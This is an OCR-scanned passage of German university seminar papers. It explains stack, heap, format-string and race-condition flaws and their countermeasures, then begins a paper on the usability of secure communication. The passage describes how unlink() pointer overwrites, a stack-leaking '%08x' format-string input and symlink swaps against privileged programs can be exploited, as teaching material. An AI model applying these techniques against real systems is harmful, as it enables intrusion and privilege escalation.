verlangsamen, aber nicht effektiv verhindern kann. Die Autoren schlussfolgern daher, dass
diese Technik nur auf 64-Bit Rechnern einen sinnvollen Schutz darstellt. Weist die fehlerhafte
Software iiber den Buffer-Overflow hinaus eine weitere Liicke auf, durch die es moglich wird,
die Adresse von Funktionen im Speicher zu bestimmen (In Frage kédme hierfiir z.B. der in
Abschnitt [6.1 beschriebener Format-String-Fehler), so ist es moglich, den Schutz von ASLR
ohne groflien Aufwand zu umgehen.

4.4.3 Stack-Smashing-Protection

Traditionelle Angriffe auf Stack-Buffer-Overflow-Liicken basieren alle auf dem Uberschreiben
der Riicksprungadresse auf dem Stack. Als Stack-Smashing-Protection werden eine Reihe von
Mafinahmen bezeichnet, die zur Compile-Zeit eines Programms getroffen werden kénnen, um
dies zu verhindern.

Hier wird zwischen zwei M&glichkeiten unterschieden, dies zu realisieren:

e Speichern der Riicksprungadresse auflerhalb des Stacks:

Spezielle Programme wie z.B. Stack-Shield verdandern den Programmcode dahingehend,
dass die Riicksprungadresse auflerhalb des Stacks in einer weiteren, stack-artigen Daten-
struktur abgelegt wird. Je nach Einstellung wird nun entweder immer die Riicksprun-
gadresse aus dieser Kontrolldatenstruktur genommen oder es wird beim Riicksprung
der Wert auf dem Stack wird mit dem der Kontrolldatenstruktur verglichen und bei
Nicht-Ubereinstimmung wird die Ausfithrung des Programms abgebrochen.

e Schiitzen der Riicksprungadresse mittels eines Kontrollwerts (,,Canary*):

®Wobei die Mac-OS Implementierung bereits im Vorfeld als nicht effektiv gilt.
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Programme wie StackGuard, der Microsoft Visual Studio C/C++ Compiler sowie GCC
sind dazu in der Lage, zwischen der Riicksprungadresse und der auf dem Stack ge-
speicherten Variablen einen Kontrollwert (ein so genanntes ,,Canary*) abzulegen, und
zum Zeitpunkt des Riicksprungs zu iiberpriifen, ob dieser Kontrollwert immer noch
unveréndert auf dem Stack liegt. Die Idee dahinter ist, dass der Angreifer beim Uber-
schreiben der Riicksprungadresse immer auch den Kontrollwert iiberschreibt, wodurch
diese Manipulation beim Uberpriifen des selbigen sofort auffillt und die Ausfithrung
des Programms abgebrochen wird. Dies wird in Tabelle[3 noch einmal verdeutlicht.

Riicksprungadresse
Kontroll-Wert (Canary)
Framepointer

Parameter 1

Parameter 2
Automatische Variable 1
Automatische Variable 2

Tabelle 3: Ausschnitt eines mit Canary-Werten geschiitzten Stacks

[Rich02] beschreibt diverse Angriffe gegen Stack-Smashing-Protection. Fazit dieses Artikels
ist, dass Maflnahmen, die lediglich die Riicksprungadresse, nicht aber den auf dem Stack ge-
speicherten Frame-Pointer schiitzen, einen erfolgreichen Angriff zwar erschweren, nicht jedoch
unterbinden. Die Vermutung liegt daher nahe, dass auch Stack-Smashing-Protection keinen
ausreichenden Schutz gegen Stack-Buffer-Overflow-Angriffe bietet.

4.4.4 Verwendung sicherer Funktionen

Keine der oben genannten Techniken bietet einen perfekten Schutz gegen Stack-Buffer-
Overflow-Angriffe. Dies zeigt deutlich, dass die Verantwortung fiir die Sicherheit eines Pro-
gramms letztendlich beim Programmierer liegt, der dieses erstellt hat.

Sichere Alternativen fiir Funktionen wie strcpy() oder gets() sind verfiigbar und die Ge-
fahrlichkeit von Funktionen, die die Eingabe Léinge von Zeichenketten nicht iiberpriifen ist
seit vielen Jahren bekannt.

Aus sicherheitstechnischer Sicht wire es angebracht, solche unsicheren Funktionen komplett
aus der libc zu verbannen, und die Programmierer so zur Verwendung sicherer Funktionen
zZU zZwingen.

5 Heap-Buffer-Overflows

5.1 Einleitung

Programme haben neben der Verwendung von statisch definierten Variablen die Moglichkeit,
zur Laufzeit mittels malloc () und dhnlichen Funktionen, dynamisch Speicher vom Betriebs-
system anzufordern. Solche Anfragen werden dann aus dem Heap bedient. In Abschnitt [2.3.2
wurde beschrieben, dass es sich bei dem Heap um eine zur Laufzeit des Programms wachsende
Datenstruktur am Ende des Datensegments handelt.

Um die Verwaltung des Heap-Speichers zu vereinfachen und eine iiberméflige Fragmentierung
zu verhindern, wird der Heap-Speicher in Form von Blécken vergeben. Hierzu befindet sich



10

11

12

13

14

15

16

17

Heap-Bufter-Overflows 153

am Anfang eines Blockes ein Header, in dem zwei Pointer, einen auf den vorherigen, einen
auf den nichsten Block, die Grofie des Blocks sowie die Angabe, ob der Block benutzt oder
unbenutzt ist, gespeichert wird. Dies ist in Abbildung|2 noch einmal illustriert.

\

Prev / Prev / m PN

\

Abbildung 2: Alloziierter Speicher als doppelt verlinkte Liste.

Zwei gleich grofle Blocke kénnen mit einer merge-Operation zu einem grofleren Block ver-
schmolzen werden. Ublicherweise wird dies bei der Freigabe von Speicher von der Funktion
free() durchgefiihrt.

Wird die Funktion free() auf einen allozierten Block ausgefiihrt, so reicht diese den Block
an das unlink () -Makro weiter, welches den Block aus der Liste der zugewiesenen Speicher-
Blocke entfernt. Die Funktionsweise kénnte in etwa folgendermaflen aussehen:

#define unlink (block){
// Temporaere Variablen
(Header %) prevblock;
(Header %) nextblock;

// Aus vorherigem Block aushaengen
prevblock = block—>prev;
prevblock—>next = block—>next;

// Aus nachfolgendem Block aushaengen
nextblock = block—>next;
nextblock—>prev = prevblock;

// Pointer in ausgehaengtem Block auf Null setzen
block—>prev = NULL;
block—>next = NULL;

Aulerdem kann ein grofier Block mit einer split Operation in zwei kleinere Blocke zerlegt
werden. Dies ist typischerweise notwendig, wenn malloc() keinen Block findet, der klein
genug ist, um die Anfrage zu erfiillen. Zwar wire es ohne weiteres moglich, dem Programm
einen grofleren Block zuriickzugeben, als es eigentlich angefordert hat, dies wére aber natiirlich
eine Verschwendung kostbaren Arbeitsspeichers.

5.2 Funktionsweise

Vergebene Blocke werden innerhalb des Heaps als doppelt verkettete Liste gespeichert. Zu
Beginn eines jeden Blocks befindet sich ein Header mit Kontrollinformationen iiber diesen
Block. Wenn es nun einem Angreifer gelingt, mehr Daten in einen Block zu schreiben, als dieser
eigentlich aufnehmen kann, so kann er iiber die Grenzen dieses Blocks in den angrenzenden
Block schreiben. Da sich hier der Header des angrenzenden Blocks befindet, wird es dem
Angreifer so moglich, diesen Header zu iiberschreiben.
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Die Ursachen dafiir, dass mehr Daten in einen Block geschrieben werden als darin Platz
vorhanden ist, sind meist die selben wie bei Stack-Buffer-Overflows, nédmlich eine falsche
Kontrolle der Lénge von Zeichenketten.

5.3 Exploits

Wie kann nun aber das Umsetzen der Header-Felder dazu verwendet werden, schadhaften
Code auf dem angegriffenen System auszufithren?

Gelingt es einem Angreifer, den Header eines zugewiesenen Blocks erfolgreich zu iiberschrie-
ben und ihn derart zu manipulieren, dass der next-Zeiger anstatt auf den nichsten Block,
auf eine Stelle im Speicher zeigt, in der vom Angreifer eingeschleuster Code liegt, dann ist er
evtl. in der Lage, Schadcode auf dem angegriffenen System auszufiihren.

Hierzu muss er den prev-Zeiger so veréndern, dass er nicht auf einen vorherigen Block im
Speicher, sondern auf die Riicksprungadresse der aktuellen Funktion im Stack zeigt. Wird
nun auf den so modifizierten Block die Funktion free(), und damit auch das unlink()-
Makro angewendet, so versucht dieses, den modifizierten Block aus der verketteten Liste des
zugewiesenen Speicherbereichs auszuhéngen.

Dagzu folgt das Makro dem prev-Pointer des modifizierten Blocks — der im obigen Beispiel ja
auf die Riicksprungadresse im Stack zeigt — und ersetzt diesen durch den next-Pointer, also
durch den Pointer auf den eingeschleusten Shell-Code.

5.4 GegenmaBnahmen
5.4.1 Canary-based-Heap-Protection

Analog zu dem in Abschnitt 4.4.3 beschriebenen Verfahren, ist es moglich, zwischen die ein-
zelnen Blocke ein Canary, also einen Kontrollwert zu legen. Wird ein Block iiberschrieben,
so wird auch der Kontrollwert iiberschrieben. Wird nun der so manipulierte Block wieder
freigegeben, iiberpriift das Memory-Management das Canary, was natiirlich fehlschldgt und
einen Abbruch des Programms veranlasst.

Dieser Art von Schutz wird beispielsweise von Microsoft Windows XP ab Service Pack 2
implementiert.

In [Anis04] wird jedoch eine Moglichkeit beschrieben, diesen Schutz in Windows auszuhebeln.
Der Angriff basiert darauf, dass eine Uberpriifung nicht stattfindet, wenn sich der betroffene
Bereich des Heaps in einer sogenannten Lookaside-List, also einer Art in Software implemen-
tiertem Cache befindet. Da es sich hier jedoch um einen Implementierungsfehler handelt, ist
davon auszugehen, dies in absehbarer Zeit von Microsoft behoben wird.

5.4.2 Konsistenzpriifung des Heaps

In [Lind06] wird vorgeschlagen, bei jedem Aufruf von unlink() zu iiberpriifen, ob die next-
und prev-Pointer iiberhaupt auf den Heap zeigen. Hierzu ist es evtl. notwendig, einmal re-
kursiv allen Pointern zu folgen. Dies wiirde zwar einen gewissen Overhead erzeugen, dafiir
wiirde allerdings auch das Uberschreiben von Daten aufierhalb des Heaps unterbunden wer-
den. Implementierungen dieser Technik waren zum Zeitpunkt dieser Ausarbeitungen jedoch
noch nicht bekannt.
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6 Format-String-Fehler

6.1 Einleitung

Angriffe auf Format-String-Fehler sind relativ neu und kamen erst vor einigen Jahren auf.
Obwohl schon seit vielen Jahren bekannt war, dass Format-String-Fehler zu Programmab-
stiirzen fiihren koénnen, dachte man bis vor kurzem, dass es nicht moglich ist, diese Fehler
dazu auszunutzen, um Code auf ein Zielsystem einzuschleusen. Dass es sich hierbei um einen
Irrtum handelte, demonstrierte ein Hacker mit dem Nickname tf8 auf sehr dramatische Weise
mit einem Remote-Root-Exploit fiir WU-FTP. Seitdem haben sich sehr viele unterschiedliche
und vielseitige Angriffe auf diese Art von Liicken entwickelt.

6.2 Funktionsweise

Format-Strings dienen dazu, den Ablauf bestimmter Klassen von Funktionen wie z.B.
printf () zu steuern. Prinzipiell handelt es sich bei einem Format-String um eine Anwei-
sung, wie ein String zusammenzubauen ist. Hierzu enthalten Format-String spezielle Marken,
die durch weitere, der Funktion iibergebene Parameter ersetzt werden. Hier ein Beispiel:

int alter = 36;
char vorname[] = "Peter”;
char nachname[] = "Mayer”;

printf (”Name: %s %s, Alter: %i\n”, vorname, nachname, alter);

In diesem Beispiel wird das erste %s durch die String-Variable Vorname, das zweite %s durch
Nachname und das %i durch die Integer-Variable alter ersetzt. Die Ausgabe wiirde also
konkret ,Name: Peter Mayer, Alter: 36“ lauten.

Wie werden nun aber Format-Strings verarbeitet? Argumente fiir Funktionen werden iiber den
Stack iibergeben, d.h. als erstes Argument bekommt die Funktion — in unserem Beispiel also
printf () — den Format-String iibergeben. Diesen parst sie nun und liest fiir jedes gefundene
Format-Zeichen die zu dem Format-Zeichen entsprechende Anzahl von Byteslgl vom Stack, wo
eigentlich die zu den Format-Zeichen passenden Parameter liegen sollten.

Problematisch wird dies immer dann, wenn es moglich wird, Format-Strings von auflen ein-
zuschleusen. Betrachten wir dazu folgendes fehlerhafte Programm:

#include <stdio.h>

int main(int argc, char % argv][]){
if (argce)
printf(argv[1]);

Wenn diesem Programm Parameter iibergeben werden, gibt es diese auf stdout aus. Diese
Art der Verwendung von printf () wurde lange Zeit als einfache Methode, String-Variablen
auszugeben, benutzt.

Werden im ersten Argument beim Aufruf Format-Zeichen {ibergeben, so werden diese von
printf () interpretiert. Da printf () aber keine weiteren Parameter iibergeben wurden, wird
das angezeigt, was sich als niichstes auf dem Stack befindet. Mit einer geschickten Abfolge
von Format-Zeichen ist es so z.B. moglich, den Inhalt des Stacks zu lesen:

SFiir %i wiirden so z.B. 4 Bytes gelesen werden. Fiir %s wird so lange gelesen, bis das erste mal eine binire
Null auftritt, die einen String terminiert.




156 Marcel Noe: Defekte in Software

‘—=> ./a.out "%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
bfe069b4.bfe06938.080483f9.bfe06940.bfe06940.bfe06988.b7e94ea8.00000000Y%

Bei einem Vergleich dieser Ausgabe mit der Ausgabe des Programms objdump ergibt sich,
dass es sich bei dem dritten Parameter, hier mit dem Wert 0x080483f9, um die Riicksprung-
adresse handelt.

6.3 Exploits

Mit dem im vorherigen Kapitel gezeigten Weg, sich den Inhalt des Stacks anzeigen zu lassen,
ldsst sich bereits sehr viel Schaden anrichten. So ist es z.B. moglich, Canaries vom Stack aus-
zulesen und so die in Abschnitt [4.4.3 beschriebene Stack-Smashing-Protection auszuhebeln.
Auch das in Abschnitt[4.4.2 beschriebene ASLR verliert so seine Wirkung, da nun bekannt ist,
um welchen Offset der Stack verschoben wurde, woraus sich sehr leicht die Position anderer
Funktionen im Speicher berechnen ldsst.

Dies ist zwar alles bereits sehr hilfreich, die entscheidende Frage ist jedoch, ob es moglich
ist, mithilfe von geschickt erzeugten Format-Strings Inhalte im Speicher zu iiberschreiben.
Hierzu wére ein Formatzeichen notwendig, das z.B. printf () dazu veranlasst, etwas in den
Speicher zu schreiben. Ein Zeichen welches genau dies tut ist %n, das dazu dient, die Anzahl
der bisher geschriebenen Zeichen in einen als Parameter {ibergebenen Zeiger auf einen Integer
zu schreiben. Mit einer geschickten Kombination aus Formatzeichen und dem mehrfachen
Verwenden von %u, %x und %n ist es so moéglich, beliebiger Werte jeweils Byte fiir Byte in
den Speicher zu schreiben. Eine genaue Anleitung hierzu findet sich unter [Scut01].

6.4 GegenmaBnahmen

Mithilfe einiger Modifikationen der im vorherigen Abschnitt beschriebenen Attacke ist es
moglich, praktisch beliebige Stellen im Speicher zu schreiben. Format-String-Angriffe wer-
den somit zu einer vielseitigen Bedrohung, da géingige Abwehrmechanismen wie z.B. Stack-
Smashing-Protection komplett umgangen werden. Gliicklicherweise sind Format-String-Fehler
relativ einfach aufzuspiiren, hierfiir gibt es eine Reihe von Tools wie z.B. TESOgcc oder pscan.

7 Race-Conditions

7.1 Einleitung

Race-Conditions sind Fehler, die dadurch entstehen, dass gewisse Operationen, die voneinan-
der abhéngen, nicht atomar durchgefithrt werden. Hiangt z.B. die Ausfiihrung einer gegebenen
Funktion B von einer Uberpriifung eines Sachverhaltes von einer Funktion A ab, und veréin-
dert sich dieser Sachverhalt nach dem Ausfithren von Funktion A und vor dem Ausfiihren
von Funktion B, so spricht man von einer Race-Condition.

7.2 Funktionsweise

Race-Conditions treten oft auf, wenn Dateirechte iiberpriift werden sollen. Stellen wir uns
z.B. ein Programm vor, das mit Super-User Rechten lduft und Usern ermoglichen soll, gewis-
se Operationen auf ihren eigenen Dateien auszufiithren, die ihnen als normalen Usern nicht
zur Verfiigung stehen (ein typisches Beispiel hierfiir ist z.B. der Drucker-Spooler). Hierzu
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iiberpriift das Programm zuerst, ob die Datei wirklich dem entsprechenden User gehért und
fithrt danach eine bestimmte Operation (also z.B. Ausdrucken) darauf aus:

int main(int argc, char x argv][]){
if (access(argv|[l], ROK) != 0)

// Kein Zugriff
exit (1);

// Zugriff OK
do_something (argv [1]);

Verdndert sich dieser Sachverhalt nun wiahrend des Ausfithrens von access() und
do_something(), so fithrt das Programm trotzdem die Funktion do_something() aus, ob-
wohl der User eigentlich gar keinen Zugriff mehr auf die Datei haben sollte.

7.3 Exploits

FEin typischer Angriff auf Race-Conditions erfolgt durch geschicktes Setzen von Links: Zuerst
wird eine Datei erzeugt, auf die der User Zugriff hat und diese wird dem von der Race-
Condition betroffenen Programm als Parameter iibergeben.

Nachdem das Programm seine Sicherheitsiiberpriifungen abgeschlossen hat, wird die Datei
entfernt und durch einen Link auf eine Datei, auf die man eigentlich zugreifen méchte (z.B.
die Passwort Datei des Systems) ersetzt. Das anfillige Programm 6ffnet somit irrtiimlich die
Datei, auf die der Link gesetzt wurde.

Dies setzt natiirlich ein sehr genaues Timing der Angriffe voraus und erfordert evtl., dass die
Ausfiihrung des anfilligen Programms verlangsamt wird. Durch die Verwendung von nice,
sowie dem Beobachten der letzten im Dateisystem vermerkten Zugriffszeit der Fake-Datei,
lasst sich dies erreichen.

7.4 GegenmaBnahmen

In [BJSWO05] werden zwei verschiedene Methoden vorgeschlagen, wie Race-Conditions zu
vermeiden sind. Die eine Moglichkeit sieht vor, den System-Call open() derart zu verdndern,
dass man ihm iiber einen weiteren Parameter die UID des Users iibergibt, mit dessen Rechten
eine Datei geoffnet werden soll. Hat dieser User die erforderlichen Rechte nicht, schléigt die
Operation fehl.

Fine weitere Moglichkeit besteht darin, einen weiteren Prozess mit den eingeschrénkten
Rechten des ausfithrenden Users zu forken, diesen die Datei 6ffnen zu lassen und den File-
Deskriptor auf die Datei z.B. iiber eine Pipe an den Vater-Prozess mit Super-User-Rechten
durch zu reichen.
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Security und Usability

Tuan Kiet Bui

Protokolle fiir die sichere Kommunikation existieren in grofler Zahl und auf un-
terschiedlichen Schichten des ISO/OSI-Modells. Dennoch bestehen in der Praxis
oft Sicherheitsprobleme, weil diese Protokolle nicht oder nicht richtig eingesetzt
werden. Der Vortrag beleuchtet die Fragestellung, wie die Herstellung sicherer
Kommunikationsverbindungen fiir den Nutzer einfacher gestaltet werden kann,
um auch im Alltagseinsatz ein hohes Mafl an Sicherheit zu erreichen.

1 Einleitung

Sicherheit ist immer ein bekanntes und aktuelles Thema. Es ist selbstverstéindlich, dass man
sein Haus oder sein Auto abschliefit, bevor man ausgeht. Nach dem Boom der Informations-
Technologie in den 80ern gefolgt von der Weit-Verbreitung des PCs und der Populéritéat
des World Wide Webs (WWW) in den 90ern steht Computer-Sicherheit, die nicht nur fiir
Unternehmen sondern auch fiir Heim-User relevant ist, im Mittelpunkt.

Es ist unvorstellbar, dass ein PC oder ein Notebook heutzutage nicht vernetzt ist. Der Eine
surft im Internet, ruft Webmail-Dienste auf, liest Nachrichten, hort Online-Musik, der Andere
Offnet sein Online-Banking-Konto, kauft etwas auf Ebay, tiberweist Geld, usw. Es ist selbstver-
standlich, dass man dank Internet fast alles per PC erledigen kann. Aber wenn man genauer
und tiefer den Stand der Sache anschaut, ist es fiir die Nutzer nicht mehr einfach: man surft
nicht sicher, weil viele Vieren, Wiirme und Spyware ihn iiber Internet und Schwachstellen
des Benutzer-Systems erreichen kénnten. Es gibt jede Menge von gefihrlichen Websiten und
Webportalen, die den User-PC sofort nach einem Klick auf den Link zu denen mit Viren
und Wiirmen infizieren. Diese Malware stiehlt wichtige Daten aus dem Opferrechner, z.B.
Bankkonto-Daten, Kreditkarte-Daten, Passworter usw. Dann schickt sie diese per Internet
zuriick zu dem Urheber. Die Internet-User haben Angst. Sie miissen Antiviren- und Firewall-
Software kaufen, um sich selbst zu schiitzen. Sie miissen sténdig Patches und Updates fiir den
Browser und das Betriebssystem herunterladen und installieren. Aber dies reicht nicht aus.
Die Angreifer haben einen neuen Trick: Phishing. ,,Phishing* ist ein krimineller Versuch eine
gefilschte Existenz, z.B. eine Bank, ein Shop-Portal, als eine vertrauenswiirdige Existenz,
Services anzubieten. Dadurch kénnen sie die empfindlichen Daten des Opfers stehlen.

SANS Institute verodffentlicht jahrlich seit 2000 die ,,Top 20 Security Risks“-Liste. Die Liste
2007 [SANSO07] zeigt: unter allen Sicherheitsgefahren werden die Gefahren, die sich auf In-
ternet beziehen, am héufigsten genannt. Die Internet-User haben sich mehr zu sorgen: auf
der Benutzerseite treten die Sicherheitslocher am héufigsten auf. Wer einen Web-Browser,
einen Email-Klienten, eine Web-Applikation oder eine Antiviren-Software benutzt, muss dar-
auf achten, dass die Software frei von den bekannten Sicherheitsliicken ist. Das Internet, die
kooperative Umgebung, wird mehr und mehr unsicher. Deswegen ist es notwendig, dass jeder
Nutzer sichere Kommunikation zur Verfiigung hat. Das bekannte RSA-Kryptosystem und
das Diffie-Hellman-Schliisselaustausch-Protokoll, die bereits im Jahr 1976 beschrieben wur-
den, sind die Grundlagen, eine sichere Kommunikationsverbindung herzustellen. Aber ihre
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Verbreitung ist noch begrenzt, da sie schwer und unfreundlich fiir die Nutzer zu benutzen
sind. Diese Seminararbeit beleuchtet den Sachverhalt, wie Nutzer eine sichere Kommunikati-
onsverbindung im Alltag einfacher herstellen konnen.

2 Grundlagen: Sicherheit auf Schichten des OSI-Modells

Das ISO/OSI-Referenzmodell 1] ist eine Bereitstellung eines international standardisierten
Modells, das der gedanklichen Strukturierung von Kommunikationssystemen dient.
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Abbildung 1: ISO/OSI 7 Schichten-Modell [ZiWa06].

Reed03] deutet die Sicherheitsbedrohungen und die Sicherheitsmechanismen auf verschiede-
nen Schichten des ISO/OSI-Modells an.

2.1 Schicht 1: Bitiibertragung

Schicht 1 ist zustéindig fiir die Ubertragung von Bits. Entfernung von Strom oder Netzwerk-
kabel gehoren zu den Sicherheitsdrohungen. Das Lauschen von Daten und die unbefugten
Anderungen der physikalischen Umgebung sind also die wichtigsten Sicherheitsdrohungen.
Um solche Gefahren zu vermeiden, sind die folgenden Mafinahmen einzusetzen: Biometrik-
Authentifizierung, Data-Storage-Kryptographie, elektromagnetisches Shielding usw.

2.2 Schicht 2: Sicherung

Die Sicherungschicht erweitert den nachrichtentechnischen Kanal zum abstrakten gesicherten
Kanal. Sie ist verantwortlich fiir die Ubertragung von Daten zwischen direkt verbundenen Ge-
riaten, die Gliederung eines Bitstromes in Dateneinheiten und die Pufferung von Daten sowohl
beim Sender als auch beim Empfianger. MAC-Adress-Spoofing ist eine wichtige Gefahr, da ein
verbundenes Gerét die Identitdt von anderen Geréten verwendet. Um dieses zu vermeiden,
muss die MAC-Adress-Filtering-Mafinahme angewendet werden. Ein weiteres sehr wichtiges
Sicherheitsproblem ist die nicht-authentifizierte Verbindung des Wireless-LLANs. Authentifi-
zierung, Verschliisselung und MAC-Adress-Filtering sind mogliche Gegenmafinahmen.
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2.3 Schicht 3: Vermittlung

Die Vermittlungsschicht verkniipft Ubertragungsabschnitte zu ,,Ende-zu-Ende-Strecken®. Sie
ist also verantwortlich fiir die Wegwahl im Kommunikationssystem und die Adressierung
der Gerédte. Die am hé#ufigsten betroffenen Sicherheitsliicken der Vermittlungsschicht sind
Route-Spoofing und IP-Adress-Spoofing. Route-Spoofing ist eine Angriffsart, bei der falsche
Netzwerk-Topologien vorgetiuscht werden. IP-Adress-Spoofing ist eine Angriffsart, bei der
Pakete die gefilschte Quelladresse tragen. Strikte Mafinahmen gegen Spoofing und Route-
Filter sind die effektive Abwehr.

2.4 Schicht 4: Transport

Die Transportschicht ist zustéindig fiir die Ubertragung von Daten zwischen Anwendungen,
Fehlererkennung und -behebung, die Pufferung und das Multiplexen. Die Sicherheitsgefahren
sind unter anderem der Missbrauch von undefinierten oder schlecht definierten Bedingungen
der Transportschicht, die Auflistung der Host-Information, die iiberlappende Benutzung der
Portnummern und die Spoofing-Bedrohung des Transmissionsmechanismuses. Die effektive
Abwehr sind strikte Firewall-Regeln, um den Zugriff auf bestimmte Transmissionsprotokolle
zu beschrénken. Zustandsbehaftete Uberpriifung auf der Firewall-Schicht, um die unzulissigen
Flags zu vermeiden, zdhlt zu den notwendigen Sicherheitsmechanismen.

2.5 Schicht 5: Kommunikationssteuerung

Die Kommunikationssteuerungsschicht bietet die Nichtunterbrechbarkeit von Kommunika-
tionsbeziehungen und die Gliederung des Datenaustauschs nach Gesichtspunkten der An-
wendung. Ein schwacher oder nicht-vorhandener Authentifizierungsmechanismus ist eine der
wesentlichen Sicherheitsliicken. Dazu gehért die Ubertragung von Usernamen und Passwort
im Klartext. Zusétzlich sind Spoofing und Hijack(Entfithrung), die auf der Sessionsidentifizie-
rung bassieren, die wichtigen Gefahren. Die Sicherheitsliicken lassen sich durch die auslaufende
Information (,leakage of information“), die nach vielen Authentifizierungsversuchen gesam-
melt wird, entdecken. Die gescheiterten Versuche, die nicht eingeschréinkt sind, werden durch
die Bruce-Force-Methode angegriffen. Um eine sichere Kommunikationssteuerungsschicht ge-
wihrleisten zu kénnen, sind die Passworter vor der Ubertragung zu verschliisseln, die Sessions-
identifikation per kryptographische Verfahren auszuwéhlen und die Anzahl der gescheiterten
Versuche per Timing-Mechanismus zu begrenzen.

2.6 Schicht 6: Darstellung

Die Darstellungsschicht erméglicht die Kommunikation zwischen heterogenen Geréten und die
einheitliche Darstellung der Daten. Die wesentlichsten Sicherheitsdrohungen sind der schlechte
Umgang mit unerwarteten Eingaben, die z.B. einen System-Crash verursacht, und die Liicken
der Kryptographie. Um solche Sicherheitsdrohungen zu vermeiden, miissen die Eingaben vor
der Ausfithrung tiberpriift werden. Auflerdem sind die Kryptographie-Losungen stindig zu
aktualisieren, um solche Sicherheitsliicken schnell zu decken.

2.7 Schicht 7: Anwendungskommunikation

Die Anwendungsschicht stellt den Austausch von anwendungsabhéngigen Daten bereit. Die Si-
cherheitsprobleme sind u.a. Backdoors, Applikations-Design-Liicken, Liicken der Programm-
Logik und die komplexe Sicherheit, die zu Unverstéindnis und keiner Implementation fiihrt.
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Standards, Test und Code-Review sind die Grundlinie, um solche Liicken der Programm-
Logik zu entdecken und die Qualitit der Applikation zu verbessern. IDS Systeme (Intrusion
Detection System) konnen eingesetzt werden, um die Applikationen zu iiberwachen. Dadurch
konnen die boshaftige Verhalten der Applikationen gefunden werden. Firewall-Losung ist also
moglich, um die unbefugte oder verstekte Benutzung des Netzwerks zu vermeiden.

Im Folgenden werden die konkreten Probleme der Kommunikation und die Begriindung er-
wahnt. Dann folgen die Losungsanséitze und die konkreten Losungen.

3 Sicherheitsprobleme der Kommunikation

3.1 Die Probleme

Benutzername-Passwort ist ein klassischer und benutzerfreundlicher Authentifizierungsme-
chanismus fiir die Computer-Nutzer. Jedes Computersystem kann durch dieses Paar die Iden-
titat des Nutzers sicherstellen. Mit anderen Worten erkennt das System, wer sich gerade ins
System einloggt. Matt Bishop in [Bish05] hat viele Probleme mit Passwortern genannt. Viele
Systeme, die iiber ein vordefiniertes Benutzername-Passwort-Paar verfiigt, wurden angegrif-
fen. Nutzt man ein eigenes ausgedachtes Passwort, konnte es trotzdem ein Problem sein:
solche einfache Passworter wie ,,password”, ,,passwort®, ,sicherheit“ usw. werden schnell per
Worterbuch-basierten Angriff erraten. Denkt man sich ein kompliziertes Passwort aus, um die
Sicherheit zu erhohen, wird es schwieriger, es sich zu merken. Dieser Widerspruch ist wirklich
ein Problem fiir den Nutzer. Nicht nur das muss jeder Benutzer verschiedene Konto-Passwort-
Paare fiir verschiedene Zielsysteme verwenden. Je hoher die Anzahl der Passworter ist, desto
simpler sind sie. Das ist wiederum ein Problem fiir die Sicherheit. Die Studie in [AdSa99] hat
dies angedeutet und hat also vier Faktoren aufgelistet, die den Wirkungsgrad der Passworter
beeinflussen:

e Die Anzahl der Passworter.
e Das Passwort selbst.
e Der Zusammenhang zwischen dem Passwort und der Tatigkeit des Nutzers.

e Die Wahrnehmung des Nutzers, wie wichtig die Sicherheit ist.

Der obere Abschnitt zeigt, dass Passwort kein perfekter aber benuztbarer Sicherheitsmecha-
nismus ist, da es einfach anzuwenden ist. Auch wenn Passwort-Mechanismen véllig sicher wi-
ren, hitte man trotzdem keine sichere Kommunikation. Ein Beispiel: Man verschliisselt seine
Emails nicht, da man nicht weifl, warum man es machen soll und wie man es machen kann. Pe-
ter Gutmann hat im Linux-Magazin Feb. 2006 iiber solche Probleme geschrieben [Gutm06c]:
keine Email-Verschliisseslung, falsche Zertifikate auf der HTTPS-Webseiten, Phishing usw.
sind fiir die Internet-User die Realitit. Die Experten, die die PKI (Public Key Infrastruc-
ture [SaHo05], [HoSa06]) bereitstellen, haben nicht daran gedacht, dass ihr Produkt fiir die
meisten Benutzer einsetzbar und benutzbar sein sollte. Solche Technologie, die seit Mitte der
90-er einsatzbereit sein soll, ist zur Zeit zu kompliziert fiir die Meisten. Die Innovation und
Revolution der Technologie hat dazu beigetragen, TLS (Transport Layer Security [DiRe06])
herauszubringen. Aber wie es eingesetzt werden soll, wird immer noch in Frage gestellt. Die
Benutzbarkeit der Sicherheitssoftware soll in Frage gestellt werden.

Suft man, bekommt man oft nur Popup-Fernster, Warnungen, Fehlermeldungen, DNS-Fehler,
Javascript-Probleme, fehlende Plugins, unerreichbare Server usw. So viele, iiberfliissige In-
formation fiir die Nutzer fithren nur zu einem negativen Effekt: die Nutzer schlieflen alle
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Security

Our site is hosted on a secure server where software encrypts the credit card number into
our rates reconcilistion system. You can erter your credit card number on a secure form
and transmit the form over the internet to a secure server without risk of an intermediary
obtaining your credt card information. Your credit card details are temporarily stored on the
secure server until your payment is completed and confirmed. After your payment is
complete, these details are transferred to an offline database, using a secure transfer
mechanism, and deleted from the site. At no stage are your credit card details held in
complete form at the offline site, but rather held in a truncated form for reconciliation
purposes only.

thawte

INVALID

“CERTIFICATE

Abbildung 2: Ein Beispiel der Zertifikatswarnung auf einer Webseite [GutmO06¢]|.

Fenster, egal ob sie relevant sind oder nicht. Das Problem hier liegt wieder an den Software-
Entwicklern, da die GUI und die Meldungen nicht benutzerfreundlich sind. Viele schlieflen
Warnungfenster, {iber die das falsche Zertifikate des Online-Bankings berichten, um dann wie
immer die Online-Transaktion auszufithren. Es gibt nur einen Unterschied: man konnte das
néchste Opfer von Phishing sein. Phisher nutzen die Geheimdaten, die man eingegeben hat,
um Geld aus dem Bank-Konto zu stehlen. Abbildung 2 zeigt ein Beispiel.

2 Key generation - Kgpg TR,

— Generate a key pair
MName

E-Mall

l

Comment {optional)

Expiration
| [Never ]
Key size:
[ 1024 v
Algorithm:
| DSA & ElGamal -]
| oK | Expert mode | | Cancel |

Abbildung 3: KGPG dient als grafisches Frontend zu GPG. Leider orientiert sich die Ober-
fliche viel zu sehr am Kommandozeilen-Original [GutmO6b].

Software soll sich am Nutzer orientieren und nicht umgekehrt — dies ist eine der Faustregeln der
Software-Technik und gilt besonders bei Sicherheitsprogrammen. Computer-Benutzer haben
normalerweise konkrete Vorstellungen, wie Anwendungen funktionieren sollen und in welcher
Reihenfolge was gemacht werden soll. Funktioniert eine Applikation nicht wie erwartet, bringt
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sie die Benutzer in Schwierigkeit. Als typisches Beispiel ist das Erzeugen eines Schliisselpaars
(6ffentlicher und privater Key). Unter der Unix-Komandozeile-Version von GPG sind viele
Optionen auszuwihlen, um dies zu erledigen. Solche Titigkeiten sind fiir CLIs (Command
